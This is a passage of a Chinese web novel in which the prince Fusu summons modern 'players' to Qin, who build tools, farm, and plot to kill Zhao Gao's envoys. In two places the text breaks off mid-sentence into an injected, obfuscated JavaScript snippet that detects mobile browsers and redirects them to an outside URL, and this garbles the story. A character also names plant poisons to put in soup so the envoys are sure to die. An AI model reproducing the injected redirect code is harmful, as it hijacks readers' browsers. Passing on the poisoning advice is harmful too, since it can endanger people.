【陛下没说,史记说了。】 【胡野猪继位之后,就开始屠杀他那些兄弟姐妹了,直接把始皇陛下杀绝后了。】 【大秦的正月是十月吧?那这一年马上就结束了,明年陈胜吴广就起义了。】 【主播主播,抓紧时间发育,骑兵三件套搞起来!】 【马镫马鞍马蹄铁,高炉炼铁环首刀,一个都不能少。】 【你以为哆啦A梦呢?高炉炼铁那么容易就搞出来?】 【不试试永远都成不了。没有科技碾压,以后拿啥对付项羽?那可是项羽啊。】 【曲辕犁、龙骨水车、筒车、石磨、耧车、堆肥、代田法、豆腐、玻璃、瓷器、火药、铁甲、纺车、造纸和印刷、精盐提纯、制糖法……主播你看你要先搞哪个?】 “得了,扶苏你慢慢干吧,这么多玩意儿看得我眼前一黑又一黑。”李承乾感叹,“你们大秦真是要啥啥没有。” 扶苏笑了笑,在觉得压力很大的同时,也觉得很有动力。 “胡亥根基不稳,他多半会自掘坟墓。蒙将军,方便的话,让蒙上卿过来帮我吧,我有很多事要做。明天开始召集上郡的工匠,接下来的每一天我们都会很忙了。” “公子与从前好像不大一样了。”蒙恬敏锐地察觉到了,低低道。 “毕竟死过一次了。” 他不仅死过一次,还滞留地府两千多年,看尽了世间的沧海桑田,如今这副外表看起来年轻,但也只是看起来而已。 【恭喜宿主渡过危机,成功救下蒙恬,获得积分500,是否用积分抽取技能卡?】 扶苏在心里问道:【我要是抽到起死回生,能让我父皇现在复活吗?】 【如果宿主能抽到的话。】 这话听了谁不想试试?彩票的中奖率都低成什么样了,天天还有一堆人买呢,何况扶苏? 【多少积分兑换一次?】 【100积分一次。】 【那我有五次机会。】 【是的。】 等蒙恬去派人送信,扶苏的眼前缓缓凝聚出一只黑猫来。 黑猫有一双鎏金似的眼睛,一板一眼地开口,悦耳但死板的电子音平铺直叙:【是否兑换技能卡?】 扶苏的注意力却被这黑猫吸引了。他愣了愣,不知怎么,竟觉得这猫无端有点熟悉。 哪里熟悉呢?难道就因为它是黑色的? 他定睛细看,油光水滑的黑猫顶着丝缎般的皮毛,在烛光下闪着微微的红晕,看起来是很名贵的玄猫。 眼睛极其神秘,像黄金融化在太阳里,呈现出低调华丽的流光溢彩。 这时代不该有这样子的猫。 【你是系统?】 【宿主你好,系统助手玄猫为你服务。】玄猫优雅地端坐在桌案上,毛茸茸的长尾巴盘绕在脚边。 【为什么不是玄鸟呢?】 【如果宿主喜欢的话。】优雅的黑猫变成了燕子,又变成了乌鸦。玄鸟到底是什么鸟,也并没有定论。 鸟类虽然也有羽毛,还会飞,但就没有猫给人一种浑然天成的可爱柔软之感了,略显疏离。 【可以再变回猫吗?】 【可以。】系统小助手很好说话,立刻变回了猫的样子。 扶苏很想摸摸它,但眼下抽卡要紧。 【留一百积分,其他的全抽。】 【好的。】 扶苏的意识里闪过无数张卡片形状的东西,纵横交叠,打乱重组,最后出现在桌面上,是四张卡。 三袋不太普通的农作物种子,一张金色的技能卡。 金色的技能卡上写着六个字。 4. 召唤第四天灾 【召唤第四天灾】 扶苏敲了敲小群,问道:“第四天灾是什么?” “这都不知道?”李承乾夸张道,“你从来不玩游戏的吗?” “我玩过一点简单的游戏。” “比如?” “消消乐和企鹅农场种菜。” 李承乾那边梗了一下,虽然看不见,但想必翻了个白眼。 “地府都有app了,你还活在二十年前吗?” “二十年前就有种菜游戏了?”扶苏颇为吃惊。 对他们这些老古董来说,对各种新兴科技的接收程度当然不可能跟阳间的普通人比。 胤礽好心地解释道:“简单来说,就是你可以召唤玩家来帮你搞基建,帮你种地。” “那可太好了。”无知的扶苏十分乐观,“我这边正缺人手。” 大秦缺少太多东西了,一样一样搞真的很慢,而且扶苏现在只能在上郡慢慢苟,调动不了更多力量。 “你别高兴得太早,玩家们一般雁过拔毛,什么损事都干得出来,你小心别被他们坑。”李承乾提醒道。 “太过分的玩家,就让他消失,不就好了?” “得注意一下,不允许玩家跳阵营。”刘据想到了其他地方,“不然全跑了,你会很麻烦。” “你到底哪边的?”李承乾蛐蛐他,“你忘了你姓刘了?” “不用你提醒,我相信扶苏。”刘据平静道,“他改变的又不是我的世界,也不会随便杀我老祖宗,我怕什么?” 【主播主播你在发呆吗?怎么不说话?】 扶苏回过神来,发现他把弹幕冷落很久了。他还没有学会和弹幕互动,目前只把它们当做天上飘落的树叶。 他一夜没睡,这会看看天色,天都快亮了。 他试着和弹幕互动了一下:“我抽到了一张技能卡,叫‘召唤第四天灾’,你们愿意来帮忙吗?上郡的环境差了些,也没什么好吃的,但我可以分你们每人五十亩地,一百亩也行,如果你们种得完的话。外加一个房子,屋前屋后都能种点菜,虽然这时候能种的种类不多,但我抽到了几袋种子……” 【多少?五十亩地?!】 【额的亲娘诶,额家三代没有宅基地了,这辈子我居然能有地了!】 【我我我!我要去!一定要抽我,主播我求你了!】 【我农学院的!先天木灵根,我能帮你改良种子,还会搞几十种嫁接。】 【农学院了不起吗?让让,我扶贫办的。】 【土木不配拥有姓名吗?】 【万万没想到,土木的春天竟然在两千年前。】 【打团不得带奶妈?我中医,祖传的,族谱能续到孙思邈。】 【厨师路过,我不信你们不吃饭。】 扶苏实在没想到,弹幕居然这么热情。在他看来,现代年轻人生活非常优越,科技发达,娱乐众多,多半瞧不起大秦这时候的落后贫瘠,但他显然低估了国人对土地对种菜对基建的热爱。 天上掉下五十亩地,随便玩家干啥,这谁能忍得住不种点东西? 要知道,城市里阳台花盆那点犄角旮旯,好多人都要种点葱蒜什么的,绝不能让它空着。何况这么一大片地? 【主播主播,能打匈奴吗?(乖巧举手)】 【坐标内蒙古,默默地看着你。】 “你们过来可以,但不能伤害我大秦黔首,我们事先说好。”扶苏提前交代清楚。 玄猫适时道:“你选人的时候可以制定标准,道德低于八十的不要。” 扶苏挺意外:“这么人性化?” “我们可是正规系统。”玄猫严肃回答,“和那些坑蒙拐骗的人贩子系统不一样。” 弹幕嘻嘻哈哈笑作一团,纷纷表示他们是遵纪守法连红灯都不闯的好公民。 “你若是不放心,第一批可以先召唤三两个人看看。”玄猫理智建议。 扶苏也是这么想的,人少比较好控制,没用过的稀奇技能,总要先试试水。 “如你们所说,马镫和石磨现在就可以造,所以我需要动手能力很强的工匠,最好会骑马,熟悉马镫,擅长种地。” 【看我!我家开马场的!】 【手工帝最有牌面的一集。】 【你们等着,我把我农学院的老师和师兄师姐们都叫上,我还就不信了,我们师门一个都选不上。】 【真的不要土木吗?我可以给你们盖厨房盖厕所盘炕,眼看冬天了,北方没炕怎么过冬?】 扶苏不知道这个技能是怎么操作的,所以慎重道:“那我先抽取三个人试试?” 几乎就在他话音刚落的瞬间,空气中就浮现出抽取的虚拟按钮。 【抽取玩家设定为三位,道德值八十以上,是否抽取?】 扶苏点击了确定。 淡淡的金白色柔光之后,一个高马尾的布衣女孩子出现在他面前。 这姑娘容貌普通,但气质干练,只是这会带着兴奋东张西望、上下蹦跶的动作有点傻,破坏了她本身的气质。 “好真实的感觉,从来没玩过这么真实的游戏……”她嘀嘀咕咕地掐了一把自己的脸,然后更激动了,“天哪,连痛觉都这么真实!” 【你玩得明白吗?起开让我来。】 【好羡慕呜呜呜】 从扶苏的视角看过去,能看见这姑娘头顶着一行带气泡的字:“炸糊的花生米戴黄帽”。 紧接着,另外两个人影也陆续出现,各顶各的ID。 “鲁班八号”、“阿里烤鱼豆腐汤”。 他们彼此看了看,发出了一切尽在不言中的嘿嘿怪笑。 扶苏get不到他们的笑点,好奇而礼貌地拱手道:“三位之中可有工匠?” “我!”鲁班八号光速举手,跟小学生公开课回答问题似的,声音响亮,“给我生产线,我连飞机都能手搓出来。” “你家开面条厂的?”另外两人窃窃而笑。 “我现在需要马镫。”扶苏一本正经。 “主……呃,公子放心,这玩意儿特简单,毫无技术含量。”鲁班八号拍胸脯表示,“几小时就能造出来。不过高炉炼铁比较麻烦,光造炉子就得造个把月,还得实验好几次,慢慢改良。” “那我带你去工室。”扶苏姑且先信他,反正就算失败了,也不过浪费点工具。 “我们可以一起去看看吗?”炸糊的花生米乖巧道,“我学农的,堆肥和代田法都容易,但石磨和几种农具,得一一造出来。” “我中医,方便给公子把个脉吗?你声音听着不对,脸色苍白,像失血过多,气血双亏,最近几天少说话,不然有嗓子损毁的可能。”烤鱼豆腐汤一脸认真。 扶苏信服地点点头,叠起袖子,伸出手,给她机会表现了一下。 “脉象微细沉弱,气随血脱,虚,很虚,都虚到肝肾了,这要是搁我们医院,这会应该在输血,至少输400cc,后续还得追加。”烤鱼豆腐汤咂舌,“就这脉象,公子你现在嘎嘣一下死这,都属于正常。” 玄猫无声地走近,抬起爪爪,虚虚地搭了下扶苏的肩膀,像是想摸摸他包扎好的伤口,但又怕造成二次伤害,就顿住了。 扶苏感觉到了,侧首对猫咪笑笑:“没事,只是看着吓人而已。我都活过来了,当然也就不会死在这。” 烤鱼豆腐汤马上道:“这边有人参吗?没有的话,熟地当归黄芪也行,还有红枣桂圆乌骨鸡,我擅长炖药,给我炉子陶罐就好。” 【这个时候得用独参汤,先稳住神志,固气。】 【伤口得化瘀吧?蒲黄甘草也可以用。】 【这个季节,红枣还是有的。】 【你们真的要顶着这种搞笑ID,去干基建吗?】 扶苏也觉得有点不妥,主要他没法给人介绍。 “旁人问起,我该如何介绍各位?”他把问题抛了出去。 三人眨巴眨巴眼睛,遗憾地纷纷开口:“我就叫花生米吧?反正这时代也没花生。” “那我就鲁八了,工匠叫这名很正常。” “叫我阿里就行,黔首没姓也很正常。” 扶苏就出门,带他们往工室去。刚出门就遇上蒙恬,得到了对方诧异的注视。 “他们是?”蒙恬疑惑。 “墨家和农家的子弟,散落在外,结伴来投奔我的。”扶苏简单介绍了他们的化名。 墨家这几十年早就分裂成了三支,散得各地都是,农家本来就跟沙一样,谁也不知道他们都在哪,所以扶苏这个理由编出来,蒙恬没有怀疑。 “他们可有照身帖和符传?”蒙恬低声问。 三脸懵逼,俱带着清澈无辜地望向扶苏。 “还没有。”扶苏很淡定,“正要带他们去补。” “我与公子一同去吧。”蒙恬看上去不大放心扶苏的伤,亦步亦趋地陪伴在侧,“给蒙毅的信已经送出去了,公子不必担心。” 【说到符传我就想起商鞅,他就是因为没有符传住不了旅店挂的。】 【哈哈,商鞅知马力,比干见人心。】 玄猫踩着猫步,不紧不慢地走在扶苏旁边,引来蒙恬不解的一瞥。 “这是……狸狌?哪来的?” “客人们带来的。”扶苏随口道,“很有灵性的猫。” “从前倒不知公子会喜欢狸狌。” “从前,哪有心情养猫?” 这年头,光是活着,就已经很难了。 扶苏知道自己心老了,光是看着三个玩家叽叽喳喳,一路走一路看,到了工室跟鱼儿入水似的,摇头摆尾,跑来跑去,比比划划,和工匠们嘀嘀咕咕,在竹简木片上写写画画,他的心情就像课间看着小学生撒欢的班主任,专心中带着恍惚和神游。 尤其他往那一坐,目光跟随,但人不动,感觉就更像了。 鲁八叮铃咣当一顿敲敲打打,不到两刻钟就搞出一个榫卯结构的小板凳,殷勤地送给扶苏。 “公子坐这个,我等会再搞几把椅子。” “不是要搞马镫吗?这玩意儿跟支踵差不多,大秦早就已经有啦。”花生米道。 “我先练练手,熟悉熟悉这边的工具和材料。淬炼要时间,闲着也是闲着,等我要点树皮破布草叶,过几天就给你们整点纸用用。” “几天?” “十几天!” “公子我去堆肥了!”花生米欢快地打报告。 “去吧。”扶苏派人去保护她,顺便给她帮忙。 “公子,来喝汤,纯天然野参汤,大补。”阿里占领了庖厨,真的得到了人参来炖汤,不到一个时辰就炖好了。 “好喝吗?”鲁八把椅子往地上一放,眼睛锃亮。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644939|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果你非要喝的话,最好只尝一两口。”阿里叮嘱,“正常人别乱吃人参,补太过只会睡不着,流鼻血。” “反正这是游戏。”鲁八蛮不在乎。 扶苏留意了下蒙恬的表情,对方好像没听到“游戏”这个词,并没有什么异状。 玄猫好像知道他在想什么,毫无起伏的声音在扶苏脑中响起:“系统会自动屏蔽和模糊异常词句的,就像自动翻译语言文字一样,这是对双方的保护。” 这倒是很方便。大秦距离现代两千多年,语言都迭代好几次了,更别提还有一堆方言,要是没有系统帮忙,玩家们连一句话都听不懂。 【我也想喝!我都没吃过野生的人参,现在很难买到了。】 【别说,大秦的野生动植物资源肯定很丰富,八九月正适合野钓和进山打猎,想想都觉得好爽。】 【主播啥时候开放第二批玩家啊?我要去种萝卜小葱韭菜白菜香菜……】 【这时候没香菜吧?】 【出使西域通商不就有了?】 阿里熬了一大瓦罐的参鸡汤,扶苏就招呼他们几个一起吃,权当早饭了。 蒙恬看了看满地的椅子板凳,又看了看被指使得团团转的工匠们,伸手试了试椅子的硬度,颇为惊叹:“不愧是墨家子弟,但又姓鲁,莫非是鲁班后人?” 鲁八大言不惭地点头,眉飞色舞:“正是!” 花生米带着一身奇怪气味和满身草木灰尘土,缩头缩脑地捂着肚子,在门口不好意思进来。 扶苏看见了她,温和地向她招手:“怎么不进来?” “我身上有点臭。” “无妨。辛苦你了。” “为人民服务!”花生米脱口而出。 玩家们笑作一团,自带傻了吧唧的快乐氛围,凑一块仿佛几只麻雀,就着阿里蒸的粟米饭,叽叽咕咕地吃着早午饭。 “等有石磨就有面了,明天保管让大家吃上豆腐和馒头!” “豆腐脑我要甜的!加糖!” “异端!豆腐脑只有咸的,甜的那叫豆花。” “我们那儿就是甜的。” “那你干嘛不喝豆浆?都一个味。” 【我们吃辣的,加辣椒折耳根香菜。】 【更异端的来了。】 【我们甜咸辣都吃,毫无压力。】 【又来了,经典甜咸豆腐脑大战。】 蒙恬怔了又怔,无论如何,都觉得这几位客人太古怪了。 他们身上那种神采飞扬,天不怕地不怕,奇思妙想一大堆,看见什么都跃跃欲试的劲头,看人时都不知道要回避目光的率真,是这个时代完全看不见的风采。 扶苏很喜欢玩家们这样谈笑风生的做派。在地府的时候,他有时会收到一些来自人间的祭品,也会偶遇挨挨挤挤的现代灵魂,他们大多也这样,活泼得很。 很有生命力,让人看着就觉得活着很有意思,未来充满希望。 扶苏慢吞吞喝着汤,撕下一丝鸡肉,喂到玄猫嘴边。 “吃一口么?” 玄猫歪了歪头,没有作答。 “不能吃?” 玄猫嗅了嗅味道,迟疑着张口,小小地咬了一口鸡丝。 扶苏就这么拿着鸡丝,慢慢地喂它。 “你是男猫还是女猫?”他问。 “拎起来看看不就知道了?”鲁八说着就要动手。 玄猫给了他两爪子,打得梆梆作响,鲁八脸上顶着梅花印,老老实实地坐下了。“好凶。” 扶苏有点想笑,按捺住想撸猫的冲动,看着玄猫重新端坐下来,继续喂它吃鸡。 “是男猫?” 玄猫矜持地颔首,金瞳一错不错地望着他。 “猫是不是都喜欢吃鱼和虾?晡食的时候,给你做鱼吃好不好?你喜欢生的还是熟的?” 因为有蒙恬在,猫没说话,扶苏就只能自己猜。 “生的就握我左手,熟的就握我右手。” 玄猫看上去有点无语,不是很情愿玩这么幼稚的游戏,但还是很给面子地伸出爪爪,轻轻放到扶苏右手。 “真棒!”阿里在旁边夸赞,“就是得吃熟的,生的都是寄生虫,不干净。” 【猫猫好可爱。这个游戏可以养宠物吗?】 【大秦只有豹猫吧?其他猫品种都是汉唐时期外来的,现在还没有。除非你把兔狲猞猁这种也算进去。】 【可以养狗,博物馆那个大黄,跟现代的田园犬没啥区别。】 【狗这时候大多是食物来着,樊哙就是卖狗肉的。】 【你真煞风景。】 【东门黄犬,李斯最爱。】 扶苏一边喂猫,一边喂自己。三位友好又勤快的玩家给他很大的好感,在观察一日没觉得哪里不妥后,扶苏试探性地把人数逐步放开。 从三个,到十个,二十个…… 咸阳的使者带来新消息的时候,上郡的玩家们已经多到了一千个。 玄猫肃然地问:“来者是赵成和阎乐,皆是赵高的人,你要如何应对?” 那种微妙的感觉又来了,扶苏暗忖,这只猫,明明应该只是一堆数据模拟出来的动物形态而已,他也并没有养过猫,可总是在一些微小的地方,给扶苏一种熟悉的感觉。 为什么呢? 扶苏看着玄猫的眼睛,莫名有点恍惚。 5. 扶苏有点颠 “阿里烤鱼豆腐汤”最近沉迷游戏,不可自拔。 她平常就爱玩点休闲种田游戏,这会面对这个真人版动森和星露谷,更是乐得找不着北了。 虽然心里也嘀咕这游戏未免真实得过分,但现代科技日新月异,什么稀奇玩意儿都不稀奇了,所以她也就把顾虑抛之脑后,拿着游戏送的VR眼镜,往床上一躺,眼睛一闭,兴高采烈地进入游戏。 她现实里散光和近视都是两百多度,但一进游戏视力好得不得了,再也没有那种看灯都晕出迷离光彩的烦恼了。 就冲着这一点,这就是个绝佳好游戏! 她在自己分到的房子里上线,左右都是游戏里的女玩家,大家顶着五花八门的气泡ID入睡,天亮了就出门到处乱跑,看见带感叹号的NPC就去帮人完成任务,个个都玩得不亦乐乎。 阿里欢快地打开门,隔壁“炸糊的花生米戴黄帽”正在种萝卜和菘菜。 菘菜是一种类似小白菜的东西,但和她们熟悉的大白菜不一样。 阿里一看她在种,顿时有了落后的危机感,忙道:“这个怎么种?直接撒种子吗?” “直接撒,不用育苗,注意松土,浇透水,三五天就能出苗。”花生米不愧是农学院的,很善于种菜,还给了阿里一些别的种子和小苗,教她种芥菜藠头芜菁葵菜和葱蒜。 “无什么?”阿里不认识这个菜。 “芜菁,就是大头菜,可以用来腌咸菜,腌好了可以放一个冬天。”花生米耐心地教她,引来了好几个附近的玩家,一边学一边干。 没人能眼睁睁看着自家菜园子空着,就算不吃也得种满,不然多让人笑幻! 大秦几乎是一日两餐,但玩家们习惯吃三顿,阿里听着鸡叫,就闲不住了,把没种完的菜放放,跑去庖厨。 那边已经聚集了三个爱做饭的,豆浆煮好了,小葱拌豆腐和豆腐包子正在进行时,阿里连忙拿出她的药包,炖起补血的药汤来。 玩家们多起来后,很自觉地分为几类,三五成群各玩各的。 经常空军的钓鱼佬、趴在芦苇荡的观鸟群、忙着给基层百姓扫盲的文化工作者、人最多的种田爱好者、火力不足恐惧症的技术宅、到处溜达做任务的街溜子、进山打野的猎人…… 阿里炖好汤,玩家们基本都觅食完毕,这才到了大秦本土人士吃朝食的时辰。 她溜溜达达地给扶苏送去,果不其然看到游戏提示:公子扶苏好感度+3 “当归红枣鱼片汤,很好吃的,钓鱼佬们一大早刚钓的鱼。”阿里放下餐盘,看着旁边品相甚好的玄猫,手有点痒痒,偷偷摸摸想摸一把。 摸凹猫,猫猫不给摸,身体凹了下去,避开阿里的手,尾巴轻巧地一甩,走到扶苏背后去了。 “辛苦你了。”扶苏笑笑。 “少说话哦,公子。”阿里提醒他。 扶苏点点头,但汤还没喝两口,就迎来了好几波玩家。 “公子公子,火药造好了!”“马镫也好了,公子你啥时候去试试?” “公子!‘鸿钧’家大黄狗把我大头菜踩了!” “公子不好了!有玩家从屋顶上跳下去摔死了!” “呜哇——公子救命,我队友被抓了,我们就是想看看兵哥哥的铠甲,没想干坏事,公子你能不能把他救出来?求你了。” “公子!我们想离开上郡到西域做生意,你能给开个证明不?听说没你的证明我们走不了。” 这是什么小学生班主任休息现场? 玩家们如同一群比格,werwer地就跑过来了,叽哩哇啦一顿乱叫,争前恐后,乱七八糟。 阿里目瞪口呆,看着扶苏轻声细语、不紧不慢地一件一件处理。 难怪嗓子老不好,这好得了吗? 等把这帮叽叽喳喳的玩家打发走,扶苏专门夹在另一个盘子里的鱼片也半温了。 他细心地挑出鱼刺,转头对玄猫道:“来吃一点?这金鳞鲤鱼正是肥美的时候,加了好多药材,吃起来一点也不腥。” 玄猫颇有些矜傲,一般人喂他东西他都不吃,只有蒙恬和扶苏过手的食物,他会意思意思吃几口。 扶苏也不知道他会不会觉得饿,但反正吃到好吃的,就会给猫分一份出来,与他一起用食。 玄猫端坐在桌案后面,四足并拢,慢吞吞地咬一口鱼片,细细咀嚼,瞧着人模人样的,吃东西缓慢优雅还干净,从来不会弄脏自己。 阿里捧着脸欣赏了一会儿猫,就听扶苏道:“我有一事,想问阿里娘子。” “公子请说。”阿里见扶苏彬彬有礼,不自觉地也跟着文绉绉起来。 “可有什么剧毒之物,适宜放入羹汤之中,一次便可毒杀敌人?” 阿里惊了惊,不确定道:“公子要杀谁?” “赵高派来的使者,他的弟弟赵成,女婿阎乐。”扶苏诚实地解释,“他们都是赵高的人,来这里是为了逼杀蒙恬,分王离的权。我不能坐视不理,那就得先下手为强。” 阿里放下心来,大大咧咧道:“那太多了,比如商陆和乌头都可以。我听说有个同学嘴馋,啃过两口新鲜商陆,当场昏迷,十几个小时才醒。商陆生吃跟萝卜似的,脆脆的,还带着点甜,做凉拌菜没问题;乌头剧毒,等汤煮差不多了,倒些乌头粉进去就行。公子你要是怕毒不死他们,可以两种毒一起用,包死的。” 扶苏看着她:“此事若交由你来做,你会不会难以接受?” “不会!”阿里干脆道,“我是始皇粉来着。” 扶苏和玄猫都小幅度地歪了歪头,仿佛有点茫然。 阿里忙做名词解释:“粉的意思就是说,我很喜欢始皇陛下,我还给他上过坟……呃,不是,总之我知道,赵高那帮人要是不死,大秦至少要死百万人,那杀了他们几个,就能救百万人,这个轻重我还是分得清的。” 何况这只是游戏啊。 就算这游戏真实得过分了,但现实里阿里是不可能一天带着牛耕完两亩地还没累趴的,她哪有这么爆表的体力? 这些不真实的地方,足以让阿里说服自己,把这依然当游戏看待。 那在游戏里,杀两个她早就耿耿于怀的坏人,有什么心理压力呢? 倒不如说,扶苏公子竟然还注意到了她可能有心理障碍这件事,更让阿里关注。 始皇粉也有很多种,阿里就属于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644940|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱屋及乌的那种。 “始皇陛下已经不在了,但公子你还在,能帮上你的忙,如果陛下知道,应该也会很高兴的吧?” 这就是阿里的逻辑了。 大秦现在处处都是危机,她不帮扶苏帮谁?难道去帮胡亥那个畜生吗? “娘子大义,扶苏感佩于心。” 伴随着好感度+10的提示,阿里瞬间笑开,乐呵呵道:“那我去准备药材!” 她冒着花花,快快乐乐地走了。 扶苏给玩家们开通了很高的权限,方便他们尽可能地自由游戏。 在这个扶苏和蒙恬都沦为法外狂徒的特殊时期,上郡从上到下都弥漫着一种说不出的诡异氛围。 唯唯诺诺,又惴惴不安。 玄猫抬头看向扶苏,问道:“赵成这一行,你若杀光,无人回咸阳报信,那么赵高定会生疑,还会派更多人过来。” “我也在想这个问题。”扶苏思量着,“还得留使者回去报信传书。” “使者缘何会听从于你?” 听听,一只猫用这种语气说话,合理吗? 扶苏按下疑惑,若无其事地回答:“倘若使者全是赵高的死忠,那该全死;如果有中立的,那便可以让一个人去压迫使者,令他为我们所用。” “有这个人?”玄猫狐疑。 “有啊。”扶苏微微一笑,“我父皇。” 玄猫:“……” 猫猫露出了点人性化的无语和嫌弃,欲言又止。 群里的小伙伴纷纷吐槽:“咋的,又诈尸?”“路径依赖。” 扶苏好整以暇地与他们分说:“在迷信的时代搞迷信,那叫顺应潮流。你们可能不知道,我父皇在这个时代压迫感有多强。‘始皇死而地分’的前提,也是‘始皇死’。代入一下你们自己爹就明白了。” 刘据深以为然,他就是那个死在老爹压迫感下的倒霉鬼,但他疑惑道:“你自己诈尸还有尸可诈,你父亲的尸体都下葬了吧?你拿什么诈?” “我自己啊。”扶苏理所当然又颠颠地笑道,“这世间,谁能比我更像我父皇?我怎么不算一种始皇陛下的遗物呢?” 很快,自己作死的玩家werwer地复活了,想去西域旅游的张骞们拿到了符节,花生米握着技术宅手搓的新农具,教黔首们精耕细作,扫盲队借着傍晚的时间给劳作回来的黔首们扫盲…… 在这山雨欲来的气氛里,扶苏发出了游戏公告。 【游戏公告:上郡遭遇危机,咸阳使者即将到达,请玩家们群策群力,同舟共济,听从公子扶苏的指挥,保护上郡的独立性。】 玩家们精神一振,七嘴八舌。 “这还不简单?炸死他们不就得了。没有什么敌人是火药解决不了的,如果有,那就是火药不够多!” “太凶残了。上郡不是有弓弩吗?扫一遍得了。” “三十万大军又不是吃干饭的,还需要我们出马?” “公子!我们可以帮什么忙?” 扶苏温温和和地笑笑,在公告底下补充:“可有人擅长仿妆?” 底下马上有个叫“生姜是食物界cos的神”的玩家秒回:“我!” 6. 大半夜cos始皇陛下 九月初十,赵高的弟弟和女婿,匆匆赶到了进入上郡的第一个驿站——高奴驿。 从咸阳到上郡的治所,大约有一千里,有一条修好的直道,方便军队和官吏的马匹通行。 一般来说,驿马的速度一天可达两百里,换马不换人,军情紧急的话还能再快点。 赵成没那么急,所以使者团的速度也就普普通通。 “总算可以歇歇了。”赵成下了马,和阎乐抱怨道,“我这胳膊腿,不比你们年轻人,这天天骑马,屁股都快坐死了,腿都打颤。” “辛苦叔父了,叔父还请上座,吃点好的,休息休息。” “上郡这破地方能有什么好的?” “打几只野鸡,烤个鹿肉,应该还是不难的。叔父稍待,我去准备。”阎乐十分殷勤,鞍前马后,跟亲儿子似的。 司马欣看在眼里,半分也不惊讶。 毕竟是赵高的女婿,现在都在赵高的贼船上,阎乐不殷勤谁殷勤?反倒是司马欣这种没有背景的狱掾,奋斗十几年好不容易爬到了长史的位置上,也只能做这个使者团的添头。 算了,添头就添头吧,以赵高的作风来说,跟他走得太近,也未必就是福。 司马欣心里嘀咕着,自知没资格参与赵成他们的加餐,也不自讨没趣,自个去吃驿站准备的饭菜去了。 因为忙着赶路,第二顿饭拖到了很晚才吃。 天刚黑不久,赵成那边热热闹闹吃着庖厨做的野味,灯火通明,香气四溢,把刚吃完麦饭的司马欣都给馋饿了。 他躺在房间,翻来覆去有点睡不着,但赶了好几天路,委实累得慌,迷迷糊糊中,还是闭上眼睛陷入混沌。 忽然之间,司马欣听见轰隆隆的炸响,地动山摇,震得整个驿站都瑟瑟发抖,疯狂摇动。 他从睡梦中惊醒,慌不择路地往外跑。 “怎么回事?地动了吗?” 有滚滚的烟尘从四面八方涌来,宛如汹涌的海浪前仆后继,弥漫在这一方天地里。 这是什么? 司马欣六神无主,下意识捂着口鼻跑到了院中,人群和惊马都在嘶鸣,密布的浓烟中,他们甚至看不清彼此。 “中车府丞和咸阳丞呢?”司马欣四处张望,不确定现在是什么时辰。 属下们无不惶惶,有机灵的一溜烟小跑去察看,随即传出了惨烈的叫喊。 “不好了!中车府丞和咸阳丞都死了!” “什么?”司马欣大惊失色,大脑一片空白。 “乱臣贼子,其罪当诛!” 一个低沉冷冽的声音,在浓雾一般的烟里响起,传入司马欣耳朵里。 “谁?” 司马欣悚然一惊,只听一阵恢弘的乐声从漫山遍野而来,雾气更为浓郁,一时间好像掉进了冰窟里,彻骨生寒。 一个浸透了黑暗的身影,在烟雾中若隐若现。 司马欣惊恐地瞪大了眼睛,仿佛连呼吸和心跳都暂停了。 那个高大的身影远如泰山巍峨,渊渟岳峙,遥遥投来一瞥,阴鸷睥睨,神威千重。 刹那之间,冷汗湿透了司马欣后背的衣衫,他膝盖一软,情不自禁地跪了下去。 连续的跪地声过后,这院中没有一个还站着的了。 司马欣手软脚软,浑身都软,战战兢兢,如履薄冰地伏拜下来。 那个身影,不是始皇陛下,又是谁? 司马欣有幸见过始皇陛下两次,但此时此刻,无论他内心在尖叫暴鸣些什么,他都只能头皮发麻地跪下来,不敢去深想,明明他离开咸阳的时候,陛下刚刚下葬,怎么可能出现在这里。 乐声越发激昂,一片坟场般的死寂中,司马欣终于听清了一句。 “我真的还想再活五百年~” 认真的吗?再活五百年?那还是人吗? 司马欣胡乱而诡谲地弱弱想着,脑子已经被搅成了豆腐脑,不碰都稀碎。 “陛陛……陛下……”豆腐脑艰难地发出了浆糊的声音,可怜到自己都听不清。 墨衣钧玄的身影飘了过来,长剑组佩,不怒自威。 真的是飘,司马欣把头垂得更低,眼睛都快闭上了,根本不敢去看到底是怎么飘的,但反正不是走,绝不是走。 “司马欣?”冷冰冰的声音犹如千千万万张弩箭,在黑暗中数不清的眼睛窥视中,对准了司马欣的要害。 危机感铺天盖地,令人窒息。 “臣、臣在。”司马欣声若蚊蚋,抖若筛糠。 “赵高矫诏的事,你知情吗?” “臣……臣不知。”司马欣哆哆嗦嗦,心都要不跳了,求生欲使他趴在地上开口,急忙道,“臣真的不知,求陛下明察!” “赵成和阎乐已死,你可知你回咸阳之后,该如何禀告?” 送命题来了。 陛下说赵高矫诏,那就是说胡亥公子不是陛下属意的继承人,这时候来上郡的赵成阎乐都死在了陛下手里,那他司马欣就必须跟赵高撇清干系。 司马欣急速运转着停转的脑袋,深深伏拜叩首,每个字都在颤抖:“臣愚钝,但凭陛下指示,陛下让臣做什么,臣就做什么。” 主打一个乖巧听话。 不听话能行吗?那俩尸体都还没凉呢。 “很好。”居高临下的冷漠声音飘飘渺渺,听起来很不真实,但那确实是陛下的声音,司马欣不会认错。 